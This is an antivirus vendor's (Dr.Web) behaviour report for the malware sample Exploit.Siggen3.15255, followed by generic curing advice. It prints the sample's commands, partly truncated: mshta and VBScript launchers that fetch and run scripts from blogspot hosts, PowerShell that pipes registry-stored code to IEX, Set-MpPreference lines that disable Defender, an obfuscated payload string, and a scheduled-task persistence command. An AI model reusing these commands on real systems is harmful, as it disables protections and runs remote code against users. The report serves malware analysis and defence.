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Exploit.Siggen3.15255
Added to the Dr.Web virus database:
2021-03-15
Virus description added:
2021-03-17
Technical Information
To ensure autorun and distribution
Modifies the following registry keys
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'phulihoja' = 'mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell ((gp HKCU:\Software).cutona)|IEX"", 0 : window.clo...
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'dkkkksakdosexography' = 'mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""mshta http://1230948%1230948@bublicamukajuka.blogs...
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] '' = 'mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""mshta http://1230948%1230948@titupatiyannala-myrynaal.blogspot.com/p/1...
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'nunukhaoo' = 'mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""mshta http://1230948%1230948@papagunnakjllidmc.blogspot.com/p...
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'phulihoja' = 'mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell ((gp HKCU:\Software).btfee)|IEX"", 0 : window.clos...
Creates or modifies the following files
<SYSTEM32>\tasks\tutipajikhana
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
blocks the following features:
User Account Control (UAC)
Executes the following
'<SYSTEM32>\taskkill.exe' /f /im Excel.exe
'<SYSTEM32>\taskkill.exe' /f /im winword.exe
Executes the following (exploit)
'<SYSTEM32>\mshta.exe' HTTp://j.#p/asdimawxiaskkowwdkidiwnawij
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIOAVProtection $true
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBlockAtFirstSeen $true
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBehaviorMonitoring $true
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableRealtimeMonitoring $true
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c $ijijinjnini='**$**46**$**56**$**c6**$**26**$**16**$**37**$**96**$**44**$**02**$**56**$**07**$**97**$**45**$**07**$**57**$**47**$**27**$**16**$**47**$**35**$**d2**$**02**$**46**$**e6**$**56*...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SevereThreatDefaultAction 6
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -LowThreatDefaultAction 6
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -ModerateThreatDefaultAction 6
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -HighThreatDefaultAction 6 -Force
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -MAPSReporting 0
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SubmitSamplesConsent 2
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableScriptScanning $true
Injects code into
the following system processes:
%WINDIR%\microsoft.net\framework\v4.0.30319\jsc.exe
Modifies file system
Creates the following files
C:\users\public\siggiaw.vbs
C:\users\public\1.txt
C:\users\public\bin.vbs
Deletes the following files
C:\users\public\siggiaw.vbs
Network activity
Connects to
'j.#p':80
'tu#########achodamarunmain.blogspot.com':443
'bl##ger.com':443
're#####es.blogblog.com':443
'fo###.#oogleapis.com':443
'go#####analytics.com':443
'ia#####8.us.archive.org':443
'fo###.gstatic.com':443
'ia#####0.us.archive.org':443
TCP
'tu#########achodamarunmain.blogspot.com':443
'bl##ger.com':443
're#####es.blogblog.com':443
'fo###.#oogleapis.com':443
'go#####analytics.com':443
'ia#####8.us.archive.org':443
'fo###.gstatic.com':443
'ia#####0.us.archive.org':443
UDP
DNS ASK j.#p
DNS ASK tu#########achodamarunmain.blogspot.com
DNS ASK bl##ger.com
DNS ASK re#####es.blogblog.com
DNS ASK fo###.#oogleapis.com
DNS ASK go#####analytics.com
DNS ASK ia#####8.us.archive.org
DNS ASK fo###.gstatic.com
DNS ASK ia#####0.us.archive.org
Miscellaneous
Searches for the following windows
ClassName: 'MS_AutodialMonitor' WindowName: ''
ClassName: 'MS_WebCheckMonitor' WindowName: ''
ClassName: '' WindowName: ''
Creates and executes the following
'<SYSTEM32>\wscript.exe' "C:\Users\Public\SiggiaW.vbs"
'<SYSTEM32>\wscript.exe' "C:\Users\Public\bin.vbs"
'<SYSTEM32>\wscript.exe' "C:\Users\Public\bin.vbs" /elevate
'<SYSTEM32>\cmd.exe' /c cd C:\Users\Public &@echo dim http_obj >>SiggiaW.vbs &@echo dim stream_obj >>SiggiaW.vbs &@echo dim shell_obj >>SiggiaW.vbs &@echo set http_obj = CreateObject("Microsoft.XMLHTTP") >>SiggiaW....' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -MAPSReporting 0' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -HighThreatDefaultAction 6 -Force' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -ModerateThreatDefaultAction 6' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -LowThreatDefaultAction 6' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SevereThreatDefaultAction 6' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c $ijijinjnini='**$**46**$**56**$**c6**$**26**$**16**$**37**$**96**$**44**$**02**$**56**$**07**$**97**$**45**$**07**$**57**$**47**$**27**$**16**$**47**$**35**$**d2**$**02**$**46**$**e6**$**56*...' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableRealtimeMonitoring $true' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBlockAtFirstSeen $true' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SubmitSamplesConsent 2' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIOAVProtection $true' (with hidden window)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit ((gp HKCU:\Software).btfee)|IEX' (with hidden window)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit ((gp HKCU:\Software).cutona)|IEX' (with hidden window)
'<SYSTEM32>\taskkill.exe' /f /im winword.exe' (with hidden window)
'<SYSTEM32>\taskkill.exe' /f /im Excel.exe' (with hidden window)
'<SYSTEM32>\schtasks.exe' /create /sc MINUTE /mo 80 /tn ""tutipajikhana"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://12#############@mylundisfarbigthenyouthink.bl...' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBehaviorMonitoring $true' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableScriptScanning $true' (with hidden window)
Executes the following
'<SYSTEM32>\cmd.exe' /c cd C:\Users\Public &@echo dim http_obj >>SiggiaW.vbs &@echo dim stream_obj >>SiggiaW.vbs &@echo dim shell_obj >>SiggiaW.vbs &@echo set http_obj = CreateObject("Microsoft.XMLHTTP") >>SiggiaW....
'<SYSTEM32>\schtasks.exe' /create /sc MINUTE /mo 80 /tn ""tutipajikhana"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://12#############@mylundisfarbigthenyouthink.bl...
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit ((gp HKCU:\Software).cutona)|IEX
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit ((gp HKCU:\Software).btfee)|IEX
'%WINDIR%\microsoft.net\framework\v4.0.30319\jsc.exe'
Curing recommendations
Windows
macOS
Linux
Android
If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space .
If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.
If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
Switch off your device and turn it on as normal.
Find out more about Dr.Web for Android
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